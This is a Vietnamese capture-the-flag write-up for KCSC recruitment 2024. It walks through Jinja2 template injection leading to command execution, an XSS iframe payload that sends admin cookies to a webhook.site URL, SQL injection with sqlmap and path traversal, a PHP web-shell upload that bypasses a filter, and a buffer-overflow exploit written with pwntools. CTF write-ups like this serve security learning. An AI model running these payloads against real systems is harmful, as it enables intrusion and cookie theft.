# kcsc recruitment 2024 ## now you see me ### Phân tích - thấy response trả về có chứa nội dung mà người dùng nhập vào trong param user ==> thử payload SSTI ![image](https://hackmd.io/_uploads/SySb7hmTA.png) ==> lỗi ssti thử với {{7*'7'}} ra 7777777 và thấy response server trả về là python ==> jinja2 ![image](https://hackmd.io/_uploads/rkkCgxB6R.png) ![image](https://hackmd.io/_uploads/rJ1yWlBTR.png) ![image](https://hackmd.io/_uploads/H1EhbxBTC.png) ### Khai thác - https://www.paloaltonetworks.com/blog/prisma-cloud/template-injection-vulnerabilities/ - Vì mọi thứ đều là đối tượng trong Python, nên một đoạn mã như “{{''.__class__}}” sẽ hiển thị lớp '', tức là “str”. - Method Resolution Order (__mro__), thuộc tính này sẽ trả về một bộ các kế thừa và kiểu mà lớp hiện tại được kế thừa. - lấy các lớp kế thừa lớp “object” bằng phương thức “__subclasses__” : tiết lộ một danh sách lớn các lớp có thể được sử dụng để tìm mô-đun mà chúng ta đang tìm kiếm - sử dụng phương thức “__init__” để tham chiếu đến hàm tạo lớp và sử dụng thêm phương thức “__globals__” để lấy các biến toàn cục của hàm trong khi tìm kiếm một mô-đun cho phép chúng ta thực thi các lệnh trên OS, chúng ta có thể tìm mô-đun “sys” - thấy có modun sys ![image](https://hackmd.io/_uploads/SJAwHeH60.png) - dùng đoạn code python sau để tìm modun ```sys``` ```python import requests counter = 0 while True: payload = """{{ ''.__class__.__mro__[1].__subclasses__()[%s].__init__.__globals__['sys'] }}""" % counter url = 'http://157.15.86.73:3004/register' r = requests.post(url, data={"user": payload}) if "Welcome " in r.text: print(r.text) print(counter) break counter += 1 ``` ![image](https://hackmd.io/_uploads/rk7Zlp76C.png) phát hiện ra rằng lớp con ở chỉ mục 114 là lớp đầu tiên có mô-đun “sys” trong các biến toàn cục của nó. - dùng payload sau để đọc flag ``` {{+''.__class__.__mro__[1].__subclasses__()[114].__init__.__globals__['sys'].modules['os'].popen("cat+/flag.txt").read()+}} ``` ![image](https://hackmd.io/_uploads/BJ9eeamp0.png) ## x ec ec ### Phân tích - đoạn code js xóa các chuỗi "script", "on", "javascript:" ==> encode "script", "on", "javascript:" mà trình duyệt vẫn hiểu để render ![image](https://hackmd.io/_uploads/BJEmR_VaR.png) - encode sang HTML entity ![image](https://hackmd.io/_uploads/ByPAwxSTC.png) - thử payload sau và thành công trigger ```! <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(2)">a</a> ``` ![image](https://hackmd.io/_uploads/Bk5dMA76A.png) - nhưng nó cần click vào để trigger ==> cần 1 thẻ khác không cần click vào mà vẫn trigger được ### Khai thác - dùng payload sau ``` <iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:fetch(`https://webhook.site/12b35fc3-dd67-4e4e-a9fc-42cc53d2fff5?a=${document.cookie}`)"></iframe> ``` ![image](https://hackmd.io/_uploads/SynYDCQpR.png) - khi admin truy cập sẽ gửi request kèm cookie đến webhook của attcker ![image](https://hackmd.io/_uploads/H1ImwRmpR.png) ``` <image src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:fetch(`https://webhook.site/12b35fc3-dd67-4e4e-a9fc-42cc53d2fff5?a=${document.cookie}`)"> ``` ## KCSC x Jujutsu Kaisen ### Phân tích - chương trình lấy username từ param username và lấy giá trị đầu trước dấu "." và cho vào câu query ![image](https://hackmd.io/_uploads/Hymka_ETA.png) - vậy có thể khai thác sql injection với ```.jpg``` ở cuối ![image](https://hackmd.io/_uploads/ByYm6NVp0.png) ```sql '+UNION+SELECT+table_name+FROM+information_schema.tables+--+-.jpg ``` ### Khai thác - cần đọc hàm decrypt - payload đọc các hàm trong database như sau ```sql SELECT routine_name FROM information_schema.routines WHERE routine_schema = "jujutsu_kaisen" ``` - https://soft-builder.com/how-to-list-stored-procedures-and-functions-in-mysql-database/#:~:text=If%20you%20are%20using%20the,db%20%3D%20'your_database_name'%3B%20command.&text=Listing%20all%20functions%20in%20a,db%20%3D%20'your_database_name'%3B%20command. ![image](https://hackmd.io/_uploads/rJ8YCE46R.png) lấy được tên hàm DECRYPT: - DECRYPT_DIALOGUE_xckQopBS4HrTe8b9<br> ENC_DIALOGUE_KR1ebf2RDPIU4dN cần key giải mã thuật toán mã hóa đối xứng AES - dùng sqlmap tìm 1 loạt các bảng không thấy key ```sql sqlmap -u "http://157.15.86.73:3002/?username='*-- -.jpg" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL --technique="U" -T users --dump ``` - để ý trong source code có biến key_decrypt ở file index.php ===> cần được file này trên server để lấy key ![image](https://hackmd.io/_uploads/SJwA9uN6C.png) ![image](https://hackmd.io/_uploads/Hymka_ETA.png) - thấy từ input của người dùng ở param username được validate bằng tay và cho vào hàm file_get_contents để đọc file trong thư mục image==> có thể khai thác path traversal ở đây ![image](https://hackmd.io/_uploads/HkwAclraA.png) từ thư muc image ra ngoài 1 cấp là đến src chứa index.php - đoạn code validate chỉ loại bỏ "./" trong đường dẫn - path traversal ```...//index.php``` đọc được source index.php có key_decrypt ![image](https://hackmd.io/_uploads/rkGiYuNaC.png) ![image](https://hackmd.io/_uploads/r1SuOuNTC.png) key: ```$up3r_$3cr3t_4_$3cur3``` - gọi hàm decrypt với key decrypt và đọc được flag ```sql '+UNION+SELECT+CONVERT(DECRYPT_DIALOGUE_xckQopBS4HrTe8b9(dialogue,+'$up3r_$3cr3t_4_$3cur3')+USING+utf8)+AS+decrypted_dialogue+FROM+users+WHERE+username+%3d+'toge'+--+-.jpg ``` ![image](https://hackmd.io/_uploads/SycqOdNp0.png) ## easy-upload - tạo filename thật dài ==> được thông báo lỗi đường dẫn upload ![image](https://hackmd.io/_uploads/S1m_NuLT0.png) - upload shell (bypass filter với extension pphphP) ![image](https://hackmd.io/_uploads/B1WvEdI6R.png) - RCE được hệ thống ![image](https://hackmd.io/_uploads/H1CBN_ITC.png) KCSC{l000000000000n9_4ss_f1l3_n4m3_f0r_th3_3xpl01t} ![image](https://hackmd.io/_uploads/H1INN_IT0.png) ![image](https://hackmd.io/_uploads/SkRTNO8aC.png) ![image](https://hackmd.io/_uploads/HJ1fBuU6C.png) - upload.php ```php <?php session_start(); if(!isset($_SESSION['rand_str'])){ $_SESSION['rand_str'] = bin2hex(random_bytes(32)); } if(!isset($_FILES['file'])){ die('Upload your file bro'); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Easy Upload</title> <link rel="stylesheet" href="assets/style.css"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet"> </head> <body> <div class="upload-container"> <div id="feedback"> <?php $blacklist = array('', 'php', 'htaccess', 'phtml', 'php5', 'phar', 'php2', 'php3', 'php4', 'php6', 'php7', 'phps', 'pht', 'phtml', 'pgif', 'shtml', 'phar', 'inc', 'hphp', 'ctp', 'module'); $file = $_FILES['file']; $name = $file['name']; $new_name = str_ireplace('php', '', $name); $ext = pathinfo($new_name, PATHINFO_EXTENSION); if(in_array($ext, $blacklist)){ die('Not so easy my guy'); } $file_path = __DIR__ . '/uploads/' . $_SESSION['rand_str']; if(!file_exists($file_path)){ mkdir($file_path, 0777, true); } if(move_uploaded_file($file['tmp_name'], $file_path . '/' . $new_name)){ die('Your ' . $new_name . ' has been uploaded successfully'); } die('Oh no we got a bug'); ?> ``` index.php ```php <?php session_start(); if(!isset($_SESSION['rand_str'])){ $random_string = bin2hex(random_bytes(32)); $_SESSION['rand_str'] = $random_string; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Easy Upload</title> <link rel="stylesheet" href="assets/style.css"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet"> </head> <body> <div class="upload-container"> <form method="post" action="upload.php" enctype="multipart/form-data"> <input type="file" name="file" id="file" class="inputfile"> <label for="file" id="file-label">Choose a file</label> <button type="submit" class="btn">Upload</button> </form> <div id="feedback"></div> </div> <script src="assets/script.js"></script> </body> </html> ``` ## Base64 ```python b64 = { "000000": "/", "000001": "+", "000010": "0", "000011": "1", "000100": "2", "000101": "3", "000110": "4", "000111": "5", "001000": "6", "001001": "7", "001010": "8", "001011": "9", "001100": "a", "001101": "b", "001110": "c", "001111": "d", "010000": "e", "010001": "f", "010010": "g", "010011": "h", "010100": "i", "010101": "j", "010110": "k", "010111": "l", "011000": "m", "011001": "n", "011010": "o", "011011": "p", "011100": "q", "011101": "r", "011110": "s", "011111": "t", "100000": "u", "100001": "v", "100010": "w", "100011": "x", "100100": "y", "100101": "z", "100110": "A", "100111": "B", "101000": "C", "101001": "D", "101010": "E", "101011": "F", "101100": "G", "101101": "H", "101110": "I", "101111": "J", "110000": "K", "110001": "L", "110010": "M", "110011": "N", "110100": "O", "110101": "P", "110110": "Q", "110111": "R", "111000": "S", "111001": "T", "111010": "U", "111011": "V", "111100": "W", "111101": "X", "111110": "Y", "111111": "Z", } # Tạo bảng đảo ngược reverse_b64 = {v: k for k, v in b64.items()} def decode(encoded): # Loại bỏ padding nếu có pad = encoded.count('=') if pad > 0: encoded = encoded[:-pad] # Chuyển từng ký tự thành chuỗi nhị phân dựa trên bảng đảo ngược binary_str = "" for char in encoded: binary_str += reverse_b64[char] # Loại bỏ các bit padding đã thêm lúc encode if pad == 1: binary_str = binary_str[:-2] elif pad == 2: binary_str = binary_str[:-4] # Chuyển chuỗi nhị phân thành ký tự ASCII decoded = "" for i in range(0, len(binary_str), 8): decoded += chr(int(binary_str[i:i+8], 2)) return decoded # Chuỗi mã hóa cần giải encoded_flag = "gObheRHIpN+wlQ7vqQiQb3XzpAbJn4iv6lR=" print(decode(encoded_flag)) # KCSC{no0b_base64_encode!!} ``` ## basic bof - thấy đây là file chạy 64 bit ![image](https://hackmd.io/_uploads/r1WgfK4TR.png) - thấy đoạn code dùng hàm gets để đọc giá trị và có hàm win chứa shell ![image](https://hackmd.io/_uploads/BkfqnerpR.png) ==> buffer overflow và ghi đè giá trị trả về là địa chỉ hàm win để lấy shell ```python #!/usr/bin/python3.7 from pwn import * p = remote('157.15.86.73', 8005) elf = ELF('./chal1') win_addr = elf.symbols['win'] + 5 payload = b'A' * 0x100 payload += b'B' * 8 # Overwrite saved RBP (not critical) payload += p64(win_addr) p.sendline(payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/HJ-55KEa0.png) ## Observation - Super weak c2 communication mở wireshark và follow tcp stream KCSC{simplY_Str1ng_Revers3D} ![image](https://hackmd.io/_uploads/HkNcBPBp0.png) ## Showdown ![image](https://hackmd.io/_uploads/HkGmzvBaC.png) KCSC{Th3_uNse3n_bL@de_1s_theD34dL1357}